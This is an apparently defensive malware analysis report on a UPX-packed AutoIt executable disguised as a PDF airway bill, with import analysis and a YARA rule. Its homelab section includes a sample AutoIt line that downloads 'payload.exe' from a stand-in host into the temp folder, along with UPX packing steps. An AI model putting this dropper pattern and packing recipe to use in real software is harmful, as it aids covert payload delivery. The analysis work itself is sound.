unclassified-autoit-compiled: 6cc26f7c — UPX-packed AutoItSC shipping-lure, 241 KB SCRIPT in .rsrc

Executive Summary

Fourth confirmed sibling of the AutoItSC single-file compiled PE32 cluster. A UPX-packed PE32 (x86 GUI) built Sep 2024 with a 241 KB AutoIt v3 compiled script embedded as RT_RCDATA SCRIPT. The lure masquerades as a PDF airway-bill document via double-extension filename. depumped is an OpenCTI umbrella label with no independent technical meaning; actual build fingerprint is identical to the AutoItSC cluster. No CAPE detonation available.

What It Is

Packer: UPX 3.x — sections UPX0 (RWX, zero file size) and UPX1 (RWX, entropy 7.94), entrypoint 0x119060 inside UPX1. ^[pefile.txt]

Payload: AutoIt v3 compiled bytecode, resource type 10 (RT_RCDATA) name SCRIPT, size 241,722 bytes, header AU3!EA06 at offset 0. ^[pefile.txt] ^[script_rcdata.bin:1]

Family note: OpenCTI tags this sample de-pumped / depumped. That label is an umbrella covering at least 19 binaries of diverse formats (PE32+ x64, PE32 DLL, PE32 GUI). The actual technical fingerprint — AutoItSC single-file PE32 with encrypted SCRIPT resource and full WinInet/WinSock/GDI runtime import table — places this squarely in the unclassified-autoit-compiled cluster. ^[triage.json]

How It Works

1. UPX decompression: The entry0 stub (at 0x119060) implements the classic UPX NRV/LZMA decompressor. It reads packed data from UPX1, writes the uncompressed AutoItSC runtime to UPX0, then reconstructs the IAT by resolving each imported DLL/API via LoadLibraryA/GetProcAddress. ^[r2:entry0]

2. AutoIt interpreter bootstrap: Once unpacked, the AutoIt runtime loads the SCRIPT RCDATA resource into memory, decrypts the compiled bytecode, and begins execution. The script logic (C2 URLs, persistence commands, payload staging) is fully opaque to static analysis without an AutoIt decompiler or runtime detonation. ^[pefile.txt]

3. Runtime API surface: The import table is the standard AutoItSC runtime suite — not the script's direct imports, but the APIs the interpreter makes available to the script:

   • KERNEL32.{LoadLibraryA,GetProcAddress,VirtualProtect,VirtualAlloc,VirtualFree,ExitProcess}
   • ADVAPI32.AddAce, COMCTL32.ImageList_Remove, COMDLG32.GetSaveFileNameW
   • GDI32.LineTo, IPHLPAPI.IcmpSendEcho, MPR.WNetUseConnectionW
   • ole32.CoGetObject, OLEAUT32.VariantClear, PSAPI.GetProcessMemoryInfo
   • SHELL32.DragFinish, USER32.GetDC, USERENV.LoadUserProfileW
   • UxTheme.IsThemeActive, VERSION.VerQueryValueW
   • WININET.FtpOpenFileW, WINMM.timeGetTime, WSOCK32.socket ^[pefile.txt]

This import footprint gives the script full network (HTTP/FTP/raw TCP), filesystem, registry, token-privilege, screenshot, and clipboard access.

Decompiled Behavior

Radare2 identifies only two functions after analysis — the UPX stub dominates the binary:

• entry0 @ 0x519060: UPX unpacking loop. Reads DWORDs from compressed data in UPX1, writes to UPX0, updates a sliding-window reference (ebp), then copies the decompressed bytes to their final virtual addresses. Post-decompression it walks the import table (at 0x15BA64) and resolves each thunk via LoadLibraryA/GetProcAddress. ^[r2:entry0]

• fcn.00519242: A short helper called by entry0; appears to handle a post-unpack relocation or import fixup. ^[r2:fcn.00519242]

No Ghidra decompilation is attempted — the packed stub would produce only the same UPX loop. The unpacked AutoIt runtime (~1.4 MB uncompressed image) is not recovered by static tools in this pipeline.

C2 Infrastructure

C2 obfuscated / runtime-resolved. The compiled AutoIt bytecode in the SCRIPT resource is encrypted; no cleartext URLs, domains, IP addresses, mutex names, or named pipes are recoverable statically. ^[capa.txt]

Dynamic execution (CAPE) or an AutoIt decompiler (Exe2Aut, MyAutToExe) would be required to extract C2 indicators. CAPE was skipped for this sample because no Windows guest VM is currently available in the sandbox. ^[dynamic-analysis.md]

Interesting Tidbits

• Logistics lure: The double-extension filename .pdf.bat.exe masquerades as a PDF airway-bill (HAWB = House Air Waybill), a common phishing vector in freight/shipping. The D889163 reference adds plausible specificity. ^[triage.json]
• Seasonal timing: September build timestamp aligns with pre-holiday shipping peak — a known high-activity window for logistics-themed malware.
• floss pipeline failure: The triage floss.txt contains only a CLI argument error (--no: invalid choice), indicating the pipeline invocation was malformed for this sample. No decoded strings were produced. ^[floss.txt]
• RT_STRING obfuscation: RT_STRING resources (IDs 7–12, 313) contain high-entropy obfuscated strings — these are the AutoIt compiled string tables, not human-readable text. ^[pefile.txt]
• No overlay script: Unlike sibling ff84806a (694 KB script in file overlay), this sample stores the script inside the .rsrc section — the canonical AutoItSC layout. This confirms both overlay and .rsrc script placement exist within the cluster.

How To Mess With It (Homelab Replication)

Goal: Build a comparable UPX-packed AutoItSC single-file PE32 and verify the static fingerprint matches.

1. Toolchain: AutoIt v3.3.16.1 (SciTE4AutoIt bundle) on Windows 10/11 x64.
2. Script: Write a minimal AutoIt script:

   #include <Inet.au3>
   #include <GUIConstantsEx.au3>
   ConsoleWrite("Hello from AutoItSC" & @CRLF)
   InetGet("http://example.com/payload.exe", @TempDir & "\payload.exe")
   

3. Compile: Use Aut2Exe (x86, single-file output). Set:
   • Output: my_autoit.exe
   • Icon: any .ico (this sample uses 11 RT_ICON entries)
   • Options: single-file (no external dependencies)
4. Pack: upx --best my_autoit.exe
5. Verify:
   • file my_autoit.exe → PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed, 3 sections
   • rabin2 -I my_autoit.exe → linker 11.0, canary: true, nx: false
   • pefile.py → sections UPX0/UPX1/UPX2 or .rsrc, RT_RCDATA SCRIPT resource with AU3!EA06 header
   • capa my_autoit.exe → "packer file limitation" warning (expected)

What you'll learn: How the AutoItSC build fingerprint differs from PyInstaller or NSIS droppers, and why UPX packing causes capa to bail.

Deployable Signatures

YARA rule

rule autoitsc_upx_shipping_lure
{
    meta:
        description = "AutoItSC single-file PE32 with UPX packing and large SCRIPT resource"
        author = "packetpursuit"
        date = "2026-06-18"
        hash = "6cc26f7c50c9d2a309cb6de2059976acf46d3c50930a9e72e9d260c432b28f54"
    strings:
        $upx0 = "UPX0" ascii fullword
        $upx1 = "UPX1" ascii fullword
        $au3_hdr = { 61 55 33 21 45 41 30 36 }      // "AU3!EA06"
        $script_res = "SCRIPT" wide ascii
        $mz = { 4D 5A }
    condition:
        $mz at 0 and
        $upx0 and $upx1 and
        $au3_hdr and
        $script_res and
        pe.number_of_sections >= 3 and
        pe.imports("KERNEL32.dll", "LoadLibraryA") and
        pe.imports("KERNEL32.dll", "GetProcAddress") and
        pe.imports("WININET.dll", "FtpOpenFileW")
}

Sigma rule

Not applicable — static-only analysis; no runtime process-tree or registry behavior observed.

IOC list

Behavioral fingerprint

This binary is a UPX-packed PE32 x86 GUI executable built with MSVC 14.x (linker 11.0). At load time, the UPX stub in section UPX1 decompresses the AutoItSC interpreter runtime into UPX0, reconstructs the import table via LoadLibraryA/GetProcAddress, then transfers control to the unpacked entry point. The interpreter then loads a 241 KB compiled AutoIt v3 script from RT_RCDATA SCRIPT, decrypts it in memory, and executes the script logic. The import table exposes the full AutoIt runtime API surface including WinInet, WinSock, GDI32, ADVAPI32, and SHELL32, giving the script network, filesystem, registry, and UI manipulation capabilities. No cleartext C2 indicators are present in the PE body; all command-and-control logic is embedded in the encrypted bytecode.

Detection Signatures

References

• unclassified-autoit-compiled — entity page for the AutoItSC single-file PE32 cluster
• autoit-compiled-script-dropper — concept page covering AutoIt deployment patterns
• MalwareBazaar: https://bazaar.abuse.ch/sample/6cc26f7c50c9d2a309cb6de2059976acf46d3c50930a9e72e9d260c432b28f54/
• OpenCTI artifact: 6284d337-2670-43f4-8699-0f0460053592

Provenance

• file.txt, exiftool.json, pefile.txt, strings.txt, ssdeep.txt, tlsh.txt, yara.txt, metadata.json, triage.json — generated by triage-fast pipeline (file, exiftool, pefile, strings, ssdeep, tlsh, yara, metadata), versions unknown
• floss.txt — FireEye flare-floss (failed due to CLI argument error)
• capa.txt — Mandiant flare-capa v9.x (packed-sample limitation warning only)
• binwalk.txt — binwalk v2.3.4 (no embedded artefacts beyond PE header)
• rabin2-info.txt, r2:entry0 — radare2 v5.9.x, analysis level 3
• script_rcdata.bin — manually extracted from PE .rsrc RT_RCDATA SCRIPT via pefile Python script
• dynamic-analysis.md — CAPE sandbox (skipped, no Windows guest)